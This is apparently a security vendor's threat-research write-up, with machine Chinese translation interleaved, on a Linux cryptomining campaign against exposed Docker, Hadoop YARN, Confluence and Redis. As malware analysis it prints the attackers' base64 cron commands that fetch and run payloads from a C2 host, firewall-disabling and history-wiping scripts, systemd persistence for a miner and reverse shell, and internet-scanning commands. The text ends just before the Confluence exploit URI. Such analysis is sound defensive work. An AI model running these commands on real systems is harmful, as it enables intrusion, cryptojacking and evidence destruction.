Spinning YARN – A New Linux Malware Campaign Targets Docker, Apache Hadoop, Redis and Confluence

Introduction 介绍

Cado Security Labs researchers have recently encountered an emerging malware campaign targeting misconfigured servers running the following web-facing services:
Cado Security Labs 的研究人员最近遇到了一个新兴的恶意软件活动，该活动针对运行以下面向 Web 服务的配置错误的服务器：

• Apache Hadoop YARN, Apache Hadoop YARN，
• Docker,  码头工人
• Confluence and  Confluence 和
• Redis Redis （英语）

The campaign utilises a number of unique and unreported payloads, including four Golang binaries, that serve as tools to automate the discovery and infection of hosts running the above services. The attackers leverage these tools to issue exploit code, taking advantage of common misconfigurations and exploiting an n-day vulnerability, to conduct Remote Code Execution (RCE) attacks and infect new hosts. 
该活动利用了许多唯一且未报告的有效负载，包括四个 Golang 二进制文件，这些有效负载用作自动发现和感染运行上述服务的主机的工具。攻击者利用这些工具发布漏洞利用代码，利用常见的错误配置并利用 n 天漏洞进行远程代码执行 （RCE） 攻击并感染新主机。

Once initial access is achieved, a series of shell scripts and general Linux attack techniques are used to deliver a cryptocurrency miner, spawn a reverse shell and enable persistent access to the compromised hosts. 
一旦实现初始访问，一系列 shell 脚本和通用 Linux 攻击技术将用于交付加密货币矿工，生成反向 shell，并实现对受感染主机的持续访问。

As always, it’s worth stressing that without the capabilities of governments or law enforcement agencies, attribution is nearly impossible – particularly where shell script payloads are concerned. However, it’s worth noting that the shell script payloads delivered by this campaign bear resemblance to those seen in prior cloud attacks, including those attributed to TeamTNT and WatchDog, along with the Kiss a Dog campaign reported by Crowdstrike. 
与往常一样，值得强调的是，如果没有政府或执法机构的能力，归因几乎是不可能的——尤其是在涉及 shell 脚本有效载荷的情况下。然而，值得注意的是，该活动提供的 shell 脚本有效载荷与之前云攻击中看到的有效载荷相似，包括归因于 TeamTNT 和 WatchDog 的有效载荷，以及 Crowdstrike 报告的 Kiss a Dog 活动。

Summary: 总结：

• Four novel Golang payloads have been discovered that automate the identification and exploitation of Docker, Hadoop YARN, Confluence and Redis hosts
  已经发现了四个新颖的 Golang 有效载荷，它们可以自动识别和利用 Docker、Hadoop YARN、Confluence 和 Redis 主机
• Attackers deploy an exploit for CVE-2022-26134, an n-day vulnerability in Confluence which is used to conduct RCE attacks
  攻击者部署了针对 CVE-2022-26134 的漏洞，CVE-2022-26134 是 Confluence 中的一个 n 天漏洞，用于进行 RCE 攻击
• For the Docker compromise, the attackers spawn a container and escape from it onto the underlying host
  对于 Docker 入侵，攻击者会生成一个容器并从中逃逸到底层主机上
• The attackers also deploy an instance of the Platypus open source reverse shell utility, to maintain access to the host 
  攻击者还部署了 Platypus 开源反向 shell 实用程序的实例，以保持对主机的访问
• Multiple user mode rootkits are deployed to hide malicious processes
  部署多个用户模式 rootkit 以隐藏恶意进程

Initial Access 初始访问

Cado Security Labs researchers first discovered this campaign after being alerted to a cluster of initial access activity on a Docker Engine API honeypot. A Docker command was received from the IP address 47[.]96[.]69[.]71 that spawned a new container, based on Alpine Linux, and created a bind mount for the underlying honeypot server’s root directory (/) to the mount point /mnt within the container itself. 
Cado Security Labs 的研究人员在收到 Docker 引擎 API 蜜罐上的一组初始访问活动的警报后首次发现了此活动。从 IP 地址 47[.] 接收到 Docker 命令96[.]69[.]71 生成了一个基于 Alpine Linux 的新容器，并为底层蜜罐服务器的根目录 （/） 创建了一个绑定挂载到容器本身内的挂载点 / mnt 。

This technique is fairly common in Docker attacks, as it allows the attacker to write files to the underlying host. Typically, this is exploited to write out a job for the Cron scheduler to execute, essentially conducting a RCE attack. 
这种技术在 Docker 攻击中相当常见，因为它允许攻击者将文件写入底层主机。通常，这被利用来写出一个作业供 Cron 调度程序执行，实质上是在进行 RCE 攻击。
In this particular campaign, the attacker exploits this exact method to write out an executable at the path /usr/bin/vurl, along with registering a Cron job to decode some base64-encoded shell commands and execute them on the fly by piping through bash.
在这个特定的活动中，攻击者利用这种确切的方法在路径 /usr/bin/vurl 上写出一个可执行文件，同时注册一个 Cron 作业来解码一些 base64 编码的 shell 命令，并通过管道动态 bash 执行它们。

Wireshark output demonstrating Docker communication, including Initial Access commands 
演示 Docker 通信的 Wireshark 输出，包括初始访问命令

The vurl executable consists solely of a simple shell script function, used to establish a TCP connection with the attacker’s Command and Control (C2) infrastructure via the /dev/tcp device file. The Cron jobs mentioned above then utilise the vurl executable to retrieve the first stage payload from the C2 server located at http[:]//b[.]9-9-8[.]com which, at the time of the attack, resolved to the IP 107[.]189[.]31[.]172.
vurl 可执行文件仅由一个简单的 shell 脚本函数组成，用于通过 /dev/tcp 设备文件与攻击者的命令和控制 （C2） 基础结构建立 TCP 连接。然后，上面提到的 Cron 作业利用 vurl 可执行文件从位于 http[：]//b[.] 的 C2 服务器检索第一阶段有效负载。9-9-8[.]com，在攻击发生时，解析为IP 107[.]189[.]31[.]172.

echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsICRACg== |base64 -d

 \u003e/usr/bin/vurl \u0026\u0026 chmod +x /usr/bin/vurl;echo '* * * * * root echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d|bash|bash' \u003e/etc/crontab \u0026\u0026 echo '* * * * * root echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d|bash|bash' \u003e/etc/cron.d/zzh \u0026\u0026 echo KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi45XC05XC1cOC5jb20vdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d \u003e\u003e/etc/crontab"

Payload retrieval commands written out to the Docker host
写入 Docker 主机的负载检索命令

echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d

vurl http[:]//b[.]9-9-8[.]com/brysj/cronb.sh

Contents of first Cron job decoded
第一个 Cron 作业的内容已解码

To provide redundancy in the event that the vurl payload retrieval method fails, the attackers write out an additional Cron job that attempts to use Python and the urllib2 library to retrieve another payload named t.sh.
为了在 vurl 有效负载检索方法失败时提供冗余，攻击者编写了一个额外的 Cron 作业，该作业尝试使用 Python 和 urllib2 库来检索另一个名为 t.sh .

KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi45XC05XC1cOC5jb20vdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d

* * * * * root python -c "import urllib2; print urllib2.urlopen('http://b.9\-9\-\8.com/t.sh').read()" >.1;chmod +x .1;./.1

Contents of the second Cron job decoded
第二个 Cron 作业的内容已解码

Unfortunately, Cado Security Labs researchers were unable to retrieve this additional payload. It is assumed that it serves a similar purpose to the cronb.sh script discussed in the next section, and is likely a variant that carries out the same attack without relying on vurl. 
不幸的是，Cado Security Labs的研究人员无法检索到这个额外的有效载荷。假设它与下一节中讨论的 cronb.sh 脚本具有类似的目的，并且很可能是在不依赖 . vurl

It’s worth noting that based on the decoded commands above, t.sh appears to reside outside the web directory that the other files are served from. This could be a mistake on the part of the attacker, perhaps they neglected to include that fragment of the URL when writing the Cron job.
值得注意的是，根据上面的解码命令， t.sh 它似乎位于提供其他文件的 Web 目录之外。这可能是攻击者的一个错误，也许他们在编写 Cron 作业时忽略了包含该 URL 片段。

cronb.sh – Primary Payload
cronb.sh – 主有效载荷

cronb.sh is a fairly straightforward shell script, its capabilities can be summarised as follows:
cronb.sh 是一个相当简单的 shell 脚本，它的功能可以总结如下：

• Define the C2 domain (http[:]//b[.]9-9-8[.]com) and URL (http[:]//b[.]9-9-8[.]com/brysj) where additional payloads are located 
  定义 C2 域 （http[：]//b[.]9-9-8[.]com） 和 URL （http[：]//b[.]9-9-8[.]com/brysj），其中有其他有效载荷
• Check for the existence of the chattr utility and rename it to zzhcht at the path in which it resides
  检查该实用程序是否存在， chattr 并将其重命名为 zzhcht 其所在的路径
• If chattr does not exist, install it via the e2fsprogs package using either the apt or yum package managers before performing the renaming described above
  如果 chattr 不存在，请在执行上述重命名之前，使用 apt 或 yum 包管理器通过 e2fsprogs 包安装它
• Determine whether the current user is root and retrieve the next payload based on this
  确定当前用户是否是 root ，并据此检索下一个有效负载

...
if [ -x /bin/chattr ];then
    mv /bin/chattr /bin/zzhcht
elif [ -x /usr/bin/chattr ];then
    mv /usr/bin/chattr /usr/bin/zzhcht
elif [ -x /usr/bin/zzhcht ];then
    export CHATTR=/usr/bin/zzhcht
elif [ -x /bin/zzhcht ];then
    export CHATTR=/bin/zzhcht
else 
   if [ $(command -v yum) ];then 
	yum -y reinstall e2fsprogs
	if [ -x /bin/chattr ];then
           mv /bin/chattr /bin/zzhcht
   elif [ -x /usr/bin/chattr ];then
           mv /usr/bin/chattr /usr/bin/zzhcht
	fi
   else
	apt-get -y reinstall e2fsprogs
	if [ -x /bin/chattr ];then
          mv /bin/chattr /bin/zzhcht
  elif [ -x /usr/bin/chattr ];then
          mv /usr/bin/chattr /usr/bin/zzhcht
	fi
   fi
fi
...

Snippet of cronb.sh demonstrating chattr renaming code
演示 chattr 重命名代码的 cronb.sh 片段

ar.sh

This, much longer, shell script prepares the system for additional compromise, performs anti-forensics on the host and retrieves additional payloads, including XMRig and an attacker-generated script that continues the infection chain.
这个更长的 shell 脚本为系统做好了应对其他入侵的准备，在主机上执行反取证并检索其他有效负载，包括 XMRig 和攻击者生成的继续感染链的脚本。

In a function named check_exist(), the malware uses netstat to determine whether connections to port 80 outbound are established. If an established connection to this port is discovered, the malware prints miner running to standard out. Later code suggests that the retrieved miner communicates with a mining pool on port 80, indicating that this is a check to determine whether the host has been previously compromised.
在名为 check_exist() 的函数中，恶意软件用于 netstat 确定是否建立了与端口 80 出站的连接。如果发现与此端口的已建立连接，恶意软件将 miner running 打印为标准输出。后面的代码表明，检索到的矿工与端口 80 上的矿池通信，表明这是确定主机之前是否受到威胁的检查。

ar.sh will then proceed to install a number of utilities, including masscan, which is used for host discovery at a later stage in the attack. With this in place, the malware proceeds to run a number of common system weakening and anti-forensics commands. These include disabling firewalld and iptables, deleting shell history (via the HISTFILE environment variable), disabling SELinux and ensuring outbound DNS requests are successful by adding public DNS servers to /etc/resolv.conf.
ar.sh 然后，将继续安装许多实用程序，包括 masscan ，用于在攻击的后期发现主机。有了这一点，恶意软件就会继续运行一些常见的系统削弱和反取证命令。其中包括禁用 firewalld 和 iptables ，删除 shell 历史记录（通过 HISTFILE 环境变量）、禁用 SELinux 以及通过将公共 DNS 服务器添加到 /etc/resolv.conf 来确保出站 DNS 请求成功。

Interestingly, ar.sh makes use of the shopt (shell options) builtin to prevent additional shell commands from the attacker’s session from being appended to the history file. This is achieved with the following command:
有趣的是， ar.sh 它利用内置的 shopt（shell 选项）来防止攻击者会话中的其他 shell 命令被附加到历史记录文件中。这是通过以下命令实现的：

shopt -ou history 2>/dev/null 1>/dev/null

Not only are additional commands prevented from being written to the history file, but the shopt command itself doesn’t appear in the shell history once a new session has been spawned. This is an effective anti-forensics technique for shell script malware, one that Cado Security Labs researchers have yet to see in other campaigns.

env_set(){
iptables -F
systemctl stop firewalld 2>/dev/null 1>/dev/null
systemctl disable firewalld 2>/dev/null 1>/dev/null
service iptables stop 2>/dev/null 1>/dev/null
ulimit -n 65535 2>/dev/null 1>/dev/null
export LC_ALL=C 
HISTCONTROL="ignorespace${HISTCONTROL:+:$HISTCONTROL}" 2>/dev/null 1>/dev/null
export HISTFILE=/dev/null 2>/dev/null 1>/dev/null
unset HISTFILE 2>/dev/null 1>/dev/null
shopt -ou history 2>/dev/null 1>/dev/null
set +o history 2>/dev/null 1>/dev/null
HISTSIZE=0 2>/dev/null 1>/dev/null
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
setenforce 0 2>/dev/null 1>/dev/null
echo SELINUX=disabled >/etc/selinux/config 2>/dev/null
sudo sysctl kernel.nmi_watchdog=0
sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
grep -q 8.8.8.8 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.8.8" >> /etc/resolv.conf;
grep -q 114.114.114.114 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.4.4" >> /etc/resolv.conf;
}

System weakening commands from ar.sh – env_set() function
来自 ar.sh – env_set（） 函数的系统弱化命令

Following the above techniques, ar.sh will proceed to install the libprocesshider and diamorphine user mode rootkits and use these to hide their malicious processes. The rootkits are retrieved from the attacker’s C2 server and compiled on delivery. The use of both libprocesshider and diamorphine is particularly common in cloud malware campaigns and was most recently exhibited by Migo, a Redis miner discovered by Cado Security Labs in February 2024.
按照上述技术， ar.sh 将继续安装 libprocesshider 和 diamorphine 用户模式 rootkit，并使用它们来隐藏其恶意进程。从攻击者的 C2 服务器检索 rootkit，并在交付时进行编译。libprocesshider 和二吗啡的使用在云恶意软件活动中尤为常见，最近一次展示的是 Migo，Migo 是 Cado Security Labs 于 2024 年 2 月发现的 Redis 矿工。

Additional system weakening code in ar.sh focuses on uninstalling monitoring agents for Alibaba Cloud and Tencent, suggesting some targeting of these cloud environments in particular. Targeting of these East Asian cloud providers has been observed previously in campaigns by the threat actor WatchDog.
其他系统弱化代码 ar.sh 侧重于卸载阿里云和腾讯的监控代理，特别针对这些云环境。威胁行为者 WatchDog 之前在活动中观察到这些东亚云提供商的目标。

Other notable capabilities of ar.sh include: 
其他值得注意的功能 ar.sh 包括：

• Insertion of an attacker-controlled SSH key, to maintain access to the compromised host
  插入攻击者控制的 SSH 密钥，以保持对受感染主机的访问
• Retrieval of the miner binary (a fork of XMRig), this is saved to /var/tmp/.11/sshd
  检索矿工二进制文件（XMRig 的分叉），将其保存到 /var/tmp/.11/sshd
• Retrieval of bioset, an open source Golang reverse shell utility, named Platypus, saved to /var/tmp/.11/bioset
  检索 bioset ，一个名为 Platypus 的开源 Golang 反向 shell 实用程序，保存到 /var/tmp/.11/bioset
  • The bioset payload was intended to communicate with an additional C2 server located at 209[.]141[.]37[.]110:14447, communication with this host was unsuccessful at the time of analysis
    生物集有效载荷旨在与位于 209 的附加 C2 服务器进行通信。141[.]37[.]110：14447，分析时与此主机的通信不成功
• Registering persistence in the form of systemd services for both bioset and the miner itself
  以 systemd 服务的形式为矿工 bioset 本身注册持久性
• Discovery of SSH keys and related IPs
  发现 SSH 密钥和相关 IP
  • The script also attempts to spread the cronb.sh malware to these discovered IPs via a SSH remote command
    该脚本还尝试通过 SSH 远程命令将 cronb.sh 恶意软件传播到这些发现的 IP
• Retrieval and execution of a binary executable named fkoths (discussed in a later section)
  检索和执行名为的 fkoths 二进制可执行文件（在后面的部分中讨论）

...
	${CHATTR} -ia /etc/systemd/system/sshm.service && rm -f /etc/systemd/system/sshm.service
cat >/tmp/ext4.service << EOLB
[Unit]
Description=crypto system service
After=network.target
[Service]
Type=forking
GuessMainPID=no
ExecStart=/var/tmp/.11/sshd
WorkingDirectory=/var/tmp/.11
Restart=always
Nice=0 
RestartSec=3
[Install]
WantedBy=multi-user.target
EOLB
fi
grep -q '/var/tmp/.11/bioset' /etc/systemd/system/sshb.service
if [ $? -eq 0 ]
then 
	echo service exist
else
	${CHATTR} -ia /etc/systemd/system/sshb.service && rm -f /etc/systemd/system/sshb.service
cat >/tmp/ext3.service << EOLB
[Unit]
Description=rshell system service
After=network.target
[Service]
Type=forking
GuessMainPID=no
ExecStart=/var/tmp/.11/bioset
WorkingDirectory=/var/tmp/.11
Restart=always
Nice=0 
RestartSec=3
[Install]
WantedBy=multi-user.target
EOLB
fi
...

Examples of systemd service creation code for the miner and bioset binaries

Finally, ar.sh creates an infection marker on the host in the form of a simple text file located at /var/tmp/.dog. The script first checks that the /var/tmp/.dog file exists. If it doesn’t, the file is created and the string lockfile is echoed into it. This serves as a useful detection mechanism to determine whether a host has been compromised by this campaign. 
最后， ar.sh 以位于 的 /var/tmp/.dog 简单文本文件的形式在主机上创建一个感染标记。脚本首先检查是否 /var/tmp/.dog file 存在。如果没有，则创建文件并将字符串 lockfile 回显到其中。这是一种有用的检测机制，用于确定主机是否已受到此活动的威胁。

Finally, ar.sh concludes by retrieving s.sh from the C2 server, using the vurl function once again.
最后， ar.sh 再次使用该 vurl 函数从 C2 服务器检索 s.sh 。

fkoths

This payload is the first of several 64-bit Golang ELFs deployed by the malware. The functionality of this executable is incredibly straightforward. Besides main(), it contains two additional functions named DeleteImagesByRepo() and AddEntryToHost(). 
此有效负载是恶意软件部署的几个 64 位 Golang ELF 中的第一个。此可执行文件的功能非常简单。此外 main() ，它包含两个名为 DeleteImagesByRepo() 和 AddEntryToHost() 的附加函数。

DeleteImagesByRepo() simply searches for Docker images from the Ubuntu or Alpine repositories, and deletes those if found. Go’s heavy use of the stack makes it somewhat difficult to determine which repositories the attackers were targeting based on static analysis alone. Fortunately, this becomes evident when monitoring the stack in a debugger.
DeleteImagesByRepo() 只需从 Ubuntu 或 Alpine 存储库中搜索 Docker 映像，如果找到，则将其删除。Go 对堆栈的大量使用使得仅根据静态分析确定攻击者针对哪些存储库变得有些困难。幸运的是，在调试器中监视堆栈时，这一点变得很明显。

Example stack contents when DeleteImagesByRepo() is called
调用时 DeleteImagesByRepo() 的示例堆栈内容

It’s clear from the initial access stage that the attackers leverage the alpine:latest image to initiate their attack on the host. Based on this, it’s been assessed with high confidence that the purpose of this function is to clear up any evidence of this initial access, essentially performing anti-forensics on the host. 
从初始访问阶段可以清楚地看出，攻击者利用该 alpine:latest 映像对主机发起攻击。基于此，已高度置信地评估，此功能的目的是清除此初始访问的任何证据，实质上是对主机执行反取证。

The AddEntryToHost() function, as the name suggests, updates the /etc/hosts file with the following line:
顾名思义，该 AddEntryToHost() 函数使用以下行更新 /etc/hosts 文件：

127.0.0.1 registry-1.docker.io

This has the effect of “blackholing” outbound requests to the Docker registry, preventing additional container images from being pulled from Dockerhub. This same technique was observed recently by Cado Security Labs researchers in the Commando Cat campaign.
这会对 Docker 注册表的出站请求进行“黑洞”处理，从而防止从 Dockerhub 中提取其他容器映像。Cado Security Labs 的研究人员最近在 Commando Cat 活动中观察到了同样的技术。

s.sh

The next stage in the infection chain is the execution of yet another shell script, this time used to download additional binary payloads and persist them on the host. Like the scripts before it, s.sh begins by defining the C2 domain (http[:]//b[.]9-9-8[.]com), using a base64-encoded string. The malware then proceeds to create the following directory structure and changing directory into it: /etc/…/.ice-unix/. 
感染链的下一阶段是执行另一个 shell 脚本，这次用于下载额外的二进制有效负载并将它们保存在主机上。与之前的脚本一样， s.sh 首先定义 C2 域 （http[：]//b[.]9-9-8[.]com），使用 base64 编码的字符串。然后，恶意软件继续创建以下目录结构并将目录更改为以下目录结构： /etc/…/.ice-unix/ .

Within the .ice-unix directory, the attacker creates another infection marker on the host, this time in a file named .watch. If the file doesn’t already exist, the script will create it and echo the integer 1 into it. Once again, this serves as a useful detection mechanism for determining whether your host has been compromised by this campaign.
在该 .ice-unix 目录中，攻击者在主机上创建另一个感染标记，这次是在名为 .watch .如果该文件尚不存在，脚本将创建该文件并将整数 1 回显到该文件中。同样，这是一种有用的检测机制，用于确定您的主机是否已受到此活动的威胁。

With this in place, the malware proceeds to install a number of packages via the apt or yum package managers. Notable packages include:

• build-essential
• gcc
• redis-server
• redis-tools
• redis
• unhide
• masscan
• docker.io
• libpcap (a dependency of pnscan)
  libpcap （依赖项 pnscan ）

From this we can ascertain that the attacker intends to compile some code on delivery, interact with Redis, conduct Internet scanning with masscan and interact with Docker. 
由此我们可以确定攻击者打算在交付时编译一些代码，与 Redis 交互，与 masscan Docker 进行 Internet 扫描并与 Docker 交互。

With the package installation complete, s.sh proceeds to retrieve zgrab and pnscan from the C2 server, these are used for host discovery in a later stage. The script then proceeds to retrieve the following executables:
软件包安装完成后， s.sh 继续进行检索 zgrab ， pnscan 并从 C2 服务器检索，这些用于稍后阶段的主机发现。然后，该脚本继续检索以下可执行文件：

• c.sh – saved as /etc/.httpd/.../httpd
c.sh – 另存为 /etc/.httpd/.../httpd
• d.sh – saved as /var/.httpd/.../httpd
d.sh – 另存为 /var/.httpd/.../httpd
• w.sh – saved as /var/.httpd/..../httpd
w.sh – 另存为 /var/.httpd/..../httpd
• h.sh – saved as var/.httpd/...../httpd
h.sh – 另存为 var/.httpd/...../httpd

s.sh then proceeds to define systemd services to persistently launch the retrieved executables, before saving them to the following paths:
s.sh 然后继续定义 systemd 服务以持久启动检索到的可执行文件，然后再将它们保存到以下路径：

• /etc/systemd/system/zzhr.service (c.sh)  /etc/systemd/system/zzhr.service （ c.sh ）
• /etc/systemd/system/zzhd.service (d.sh)  /etc/systemd/system/zzhd.service （ d.sh ）
• /etc/systemd/system/zzhw.service (w.sh)  /etc/systemd/system/zzhw.service （ w.sh ）
• /etc/systemd/system/zzhh.service (h.sh)  /etc/systemd/system/zzhh.service （ h.sh ）

...
if [ ! -f /var/.httpd/...../httpd ];then
    vurl $domain/d/h.sh > httpd
    chmod a+x httpd
    echo "FUCK chmod2"
    ls -al /var/.httpd/.....
fi
cat >/tmp/h.service <<EOL
[Service]
LimitNOFILE=65535
ExecStart=/var/.httpd/...../httpd
WorkingDirectory=/var/.httpd/.....
Restart=always 
RestartSec=30
[Install]
WantedBy=default.target
EOL
...

Example of payload retrieval and service creation code for the h.sh payload
h.sh 有效负载检索和服务创建代码的示例

h.sh, d.sh, c.sh, w.sh – Initial Access and Spreader Utilities
h.sh、d.sh、c.sh、w.sh – 初始访问和扩展器实用程序

In the previous stage, the attacker retrieves and attempts to persist the payloads c.sh, d.sh, w.sh and h.sh. These executables are dedicated to identifying and exploiting hosts running each of the four services mentioned previously.

Despite their names, all of these payloads are 64-bit Golang ELF binaries. Interestingly, the malware developer neglected to strip the binaries, leaving DWARF debug information intact. There has been no effort made to obfuscate strings or other sensitive data within the binaries either, making them trivial to reverse engineer.

The purpose of these payloads is to use masscan or pnscan (compiled on delivery in an earlier stage) to scan a randomised network segment and search for hosts with ports 2375, 8088, 8090 or 6379 open. These are default ports used by the Docker Engine API, Apache Hadoop YARN, Confluence and Redis respectively. 
这些有效负载的目的是使用 masscan 或 pnscan （在早期阶段在交付时编译）扫描随机网段并搜索端口 2375、8088、8090 或 6379 打开的主机。这些是 Docker 引擎 API、Apache Hadoop YARN、Confluence 和 Redis 分别使用的默认端口。

h.sh, d.sh and w.sh contain identical functions to generate a list of IPs to scan and hunt for these services. First, the Golang time_Now() function is called to provide a seed for a random number generator. This is passed to a function generateRandomOctets() that’s used to define a randomised /8 network prefix to scan. Example values include:
h.sh ， d.sh 并 w.sh 包含相同的函数来生成要扫描和搜寻这些服务的 IP 列表。首先，调用 Golang time_Now() 函数为随机数生成器提供种子。这将传递给用于定义要扫描的随机 /8 网络前缀的函数 generateRandomOctets() 。示例值包括：

• 109.0.0.0/8
• 84.0.0.0/8
• 104.0.0.0/8
• 168.0.0.0/8
• 3.0.0.0/8
• 68.0.0.0/8

For each randomised octet, masscan is invoked and the resulting IPs are written out to the file scan_<octet>.0.0.0_8.txt in the working directory. 
对于每个随机八位字节， masscan 将调用生成的 IP，并将生成的 IP 写出到工作目录中的文件中 scan_<octet>.0.0.0_8.txt 。

d.sh

Disassembly demonstrating use of os/exec to run masscan
反汇编演示了运行 masscan 的 os/exec 使用

For d.sh, this procedure is used to identify hosts with the default Docker Engine API port (2375) open. The full masscan command is as follows:
对于 d.sh ，此过程用于标识默认 Docker 引擎 API 端口 （2375） 打开的主机。完整 masscan 命令如下：

masscan <octet>.0.0.0/8 -p 2375 –rate 10000 -oL scan_<octet>.0.0.0_8.txt

The masscan output file is then read and the list of IPs is converted into a format readable by zgrab, before being written out to the file ips_for_zgrab_<octet>.txt.

For d.sh, zgrab will read these IPs and issue a HTTP GET request to the /v1.16/version endpoint of the Docker Engine API. The zgrab command in its entirety is as follows:
对于 d.sh ， zgrab 将读取这些 IP 并向 Docker 引擎 API 的 /v1.16/version 端点发出 HTTP GET 请求。该 zgrab 命令全文如下：

zgrab --senders 5000 --port=2375 --http='/v1.16/version' --output-file=zgrab_output_<octet>.0.0.0_8.json`  < ips_for_zgrab_<octet>.txt 2>/dev/null

Successful responses to this HTTP request let the attacker know that Docker Engine is indeed running on port 2375 for the IP in question. The list of IPs to have responded successfully is then written out to zgrab_output_<octet>.0.0.0_8.json. 
成功响应此 HTTP 请求可让攻击者知道 Docker 引擎确实在相关 IP 的端口 2375 上运行。然后，将成功响应的 IP 列表写出到 zgrab_output_<octet>.0.0.0_8.json 。

Next, the payload calls a function helpfully named executeDockerCommand() for each of the IPs discovered by zgrab. As the name suggests, this function executes the Docker command covered in the Initial Access section above, kickstarting the infection chain on a new vulnerable host. 
接下来，有效负载调用一个函数，该函数以 发现的每个 IP 命名 executeDockerCommand() zgrab 。顾名思义，此函数执行上述“初始访问”部分中介绍的 Docker 命令，从而在新的易受攻击的主机上启动感染链。

Decompiler output demonstrating Docker command construction routine
演示 Docker 命令构造例程的反编译器输出

h.sh

This payload contains identical logic for the randomised octet generation and follows the same procedure of using masscan and zgrab to identify targets. The main difference in this payload’s discovery phase is the targeting of Apache Hadoop servers, rather than Docker Engine deployments. As a result, the masscan and zgrab commands are slightly different:
此有效负载包含用于随机八位字节生成的相同逻辑，并遵循相同的使用 masscan 和 zgrab 识别目标的过程。此有效负载发现阶段的主要区别在于以 Apache Hadoop 服务器为目标，而不是 Docker 引擎部署。因此， masscan 和 zgrab 命令略有不同：

masscan <octet>.0.0.0/8 -p 8088 –rate 10000 -oL scan_<octet>.0.0.0_8.txt

zgrab --senders 1000 --port=8088 --http='/stacks' --output-file=zgrab_output_<octet>.0.0.0_8.json` < ips_for_zgrab_<octet>.txt 2>/dev/null

From this, we can determine that d.sh is a Docker discovery and initial access tool, whereas h.sh is an Apache Hadoop discovery and initial access tool.

Instead of invoking the executeDockerCommand() function, this payload instead invokes a function named executeYARNCommand() to handle the interaction with Hadoop. Similar to the Docker API interaction described previously, the purpose of this is to target Apache Hadoop YARN, a component of Hadoop that is responsible for scheduling tasks within the cluster. 
此有效负载不是调用函数， executeDockerCommand() 而是调用一个名为 executeYARNCommand() 处理与 Hadoop 交互的函数。与前面描述的 Docker API 交互类似，其目的是以 Apache Hadoop YARN 为目标，这是 Hadoop 的一个组件，负责在集群中调度任务。

If the YARN API is exposed to the open Internet, it’s possible to conduct a RCE attack by sending a JSON payload in a HTTP POST request to the /ws/v1/cluster/apps/ endpoint. This method of conducting RCE has been leveraged previously to deliver cloud-focused malware campaigns, such as Kinsing.
如果 YARN API 暴露在开放的 Internet 中，则可以通过在 HTTP POST 请求中向 /ws/v1/cluster/apps/ 终结点发送 JSON 有效负载来执行 RCE 攻击。这种执行 RCE 的方法以前曾被用于提供以云为中心的恶意软件活动，例如 Kinsing。

Example of YARN HTTP POST generation pseudocode in h.sh
YARN HTTP POST 生成伪代码 h.sh 示例

The POST request contains a JSON body with the same base64-encoded initial access command we covered previously. The JSON payload defines a new application (task to be scheduled, in this case a shell command) with the name new-application. This shell command decodes the base64 payload that defines vurl and retrieves the first stage of the infection chain. 
POST 请求包含一个 JSON 正文，其中包含我们之前介绍的相同的 base64 编码初始访问命令。JSON 有效负载定义了一个名为 new-application .此 shell 命令解码定义 vurl 和检索感染链第一阶段的 base64 有效负载。

Success in executing this command kicks off the infection once again on a Hadoop host, allowing the attackers persistent access and the ability to run their XMRig miner.
成功执行此命令将再次在 Hadoop 主机上引发感染，从而允许攻击者持续访问并运行其 XMRig 矿工。

w.sh 

This executable repeats the discovery procedure outlined in the previous two initial access/discovery payloads, except this time the target port is changed to 8090 – the default port used by Confluence. 
这个可执行文件重复了前两个初始访问/发现有效负载中概述的发现过程，只不过这次目标端口改为 8090——Confluence 使用的默认端口。

For each IP discovered, the malware uses zgrab to issue a HTTP GET request to the root directory of the server. This request includes a URI containing an exploit for CVE-2022-26134, a vulnerability in the Confluence server that allows attackers to conduct RCE attacks. For more details on the specifics of CVE-2022-26134, this post from Rapid7 provides an excellent overview.
对于发现的每个 IP，恶意软件都会向 zgrab 服务器的根目录发出 HTTP GET 请求。此请求包含一个 URI，其中包含针对 CVE-2022-26134 的漏洞，CVE-2022-26134 是 Confluence 服务器中的一个漏洞，允许攻击者进行 RCE 攻击。有关 CVE-2022-26134 细节的更多详细信息，Rapid7 的这篇文章提供了一个很好的概述。

As you might expect, this RCE is once again used to execute the base64-encoded initial access command mentioned previously.
如您所料，此 RCE 再次用于执行前面提到的 base64 编码的初始访问命令。

Decompiler output displaying CVE-2022-26134 exploit code

Without URL encoding, the full URI appears as follows:

